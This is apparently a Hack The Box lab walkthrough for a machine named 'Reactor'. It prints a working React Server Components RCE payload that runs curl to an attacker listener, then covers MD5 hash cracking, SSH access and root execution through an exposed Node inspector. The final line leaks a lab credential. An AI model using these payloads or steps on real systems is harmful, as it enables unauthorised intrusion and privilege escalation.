by 0xW1LD

As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIoh32XcLYi0Kdad12SajqVyUVXfkDPaB7zZCDCMIJc+fv8JUJwyQRoqX/91+p6uD75Ggdp4VNzA7WasIkyo/4U=
| 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPws9RyzoCW2cXzOFxeZCCt8rWcNu2umX2kqLLK6T+7H
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Mon, 25 May 2026 05:30:21 GMT
| Connection: close
| <html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Mon, 25 May 2026 05:30:23 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=5/25%Time=6A13DE6F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1FA4,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:21\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Mon,
SF:\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Having a look around the website running on port 3000 we can find the following snippet in one of the chunks revealing the version of NextJS being used.
1
2
3
4
5
window.next = {
version: "15.0.3",
appDir: !0
}
Looking around for vulnerabilities in NextJs 15.0.3 I stumble upon CVE-2025-66478 which references this vulnerability in ReactJS: CVE-2025-55182
The original researcher has published the following PoC, let’s run the PoC modifying the prefix to execute a command and the url at the bottom of the js PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'process.mainModule.require(\'child_process\').execSync(\'curl 10.10.14.3:9001\')//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}
<SNIP>
exploitNext('http://reactor.htb:3000')
We can run this with node (requires the form-data as a dependency)
1
2
node exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="0"
"$1"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="1"
{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="2"
"$@3"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="3"
[]
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="4"
{"_prefix":"process.mainModule.require('child_process').execSync('curl 10.10.14.3:9001')//","_formData":{"get":"$3:constructor:constructor"},"_chunks":"$2:_response:_chunks"}
----------------------------227891fe9fd3f6c21acb478b--
{
'content-type': 'multipart/form-data; boundary=--------------------------227891fe9fd3f6c21acb478b'
}
This proceeds to hang but I get a response on my listener.
1
2
nc -lvnp 9001
1
2
3
4
5
6
7
8
9
10
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.245.214] 34264
GET / HTTP/1.1
Host: 10.10.14.3:9001
User-Agent: curl/8.5.0
Accept: */*
Let’s use the RCE to get a reverse shell
1
2
node@reactor:/opt/reactor-app$
Looking around we can find a reactor.db database file.
1
2
node@reactor:/opt/reactor-app$ ls -lash
1
2
3
4
5
6
7
8
9
10
11
12
total 76K
4.0K drwxr-xr-x 5 node node 4.0K May 25 06:59 .
4.0K drwxr-xr-x 4 root root 4.0K Apr 27 11:26 ..
4.0K drwxr-xr-x 2 node node 4.0K Dec 28 20:47 app
4.0K -rw-r--r-- 1 node node 276 Dec 28 21:05 .env
4.0K drwxr-xr-x 7 node node 4.0K Dec 28 20:47 .next
4.0K -rw-r--r-- 1 node node 172 Dec 28 20:47 next.config.js
4.0K drwxr-xr-x 30 node node 4.0K Dec 28 20:47 node_modules
4.0K -rw-r--r-- 1 node node 269 Dec 28 20:47 package.json
32K -rw-r--r-- 1 node node 29K Dec 28 20:47 package-lock.json
12K -rw-r----- 1 node node 12K Dec 28 21:03 reactor.db
Transferring this to our attacker machine and taking a look inside it with SQLite3
1
2
sqlite3 reactor.db
1
2
3
4
5
6
7
8
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110e[REDACTED]|operator|engineer@reactor.htb
Let’s start hashcat against them assuming they’re md5 hashes.
1
2
hashcat -m 0 reactor.pem rockyou.txt -w 3 -O
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
hashcat (v7.1.2) starting
nvmlDeviceGetFanSpeed(): Not Supported
CUDA API (CUDA 13.1)
====================
* Device #01: NVIDIA GeForce RTX 3060 Laptop GPU, 5118/6143 MB, 30MCU
OpenCL API (OpenCL 3.0 CUDA 13.1.117) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #02: NVIDIA GeForce RTX 3060 Laptop GPU, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 561 MB (854 MB free)
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
39d97110[REDACTED]:[REDACTED]
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: .\reactor.pem
Time.Started.....: Mon May 25 17:03:39 2026 (1 sec)
Time.Estimated...: Mon May 25 17:03:40 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 15249.7 kH/s (0.05ms) @ Accel:6 Loops:1 Thr:608 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 3094/14344384 (0.02%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !em&1L -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 48c Util: 27% Core:1425MHz Mem:7001MHz Bus:8
Started: Mon May 25 17:03:33 2026
Stopped: Mon May 25 17:03:41 2026
We get a hit for engineer’s password. Let’s ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
~/htb/labs/reactor $ ssh engineer@reactor.htb
The authenticity of host 'reactor.htb (10.129.245.214)' cant be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'reactor.htb' (ED25519) to the list of known hosts.
engineer@reactor.htbs password: [REDACTED]
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Mon May 25 07:05:19 2026 from 10.10.14.3
There we can find the user flag.
1
2
3
engineer@reactor:~$ ls -lash user.txt
4.0K -rw-r----- 1 root engineer 33 May 25 05:14 user.txt
Checking for running processes we can find an interesting node js process that runs an uptime-monitor with the --inspect flag.
1
2
ps -ef
1
2
3
4
<SNIP>
root 1417 1 0 05:13 ? 00:00:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
<SNIP>
From the node manual:
1
2
3
4
5
--inspect=[host:]port
Activate inspector on host:port. Default is 127.0.0.1:9229.
V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling. It uses the Chrome DevTools Protocol.
Let’s port-forward port 9229 to our localhost, and open a chromium browser connecting to chrome://inspect where we should be able to inspect the uptime-monitor.js file
1
2
3
4
5
localhost:9229 (v20.20.2)
trace
/opt/uptime-monitor/worker.js
file:///opt/uptime-monitor/worker.js
We get a pid which matches our ps -ef output.
1
2
uptime-monitor up, pid=1417
We can use the same javascript command we used earlier to get code execution as root
1
2
3
require('child_process').execSync('id').toString()
'uid=0(root) gid=0(root) groups=0(root)\n'
Let’s grab another reverse shell
1
2
3
root@reactor:/# ls -lash /root/root.txt
4.0K -rw-r----- 1 root root 33 May 25 05:14 /root/root.txt
There we can find the root flag.
1
2
engineer:reactor1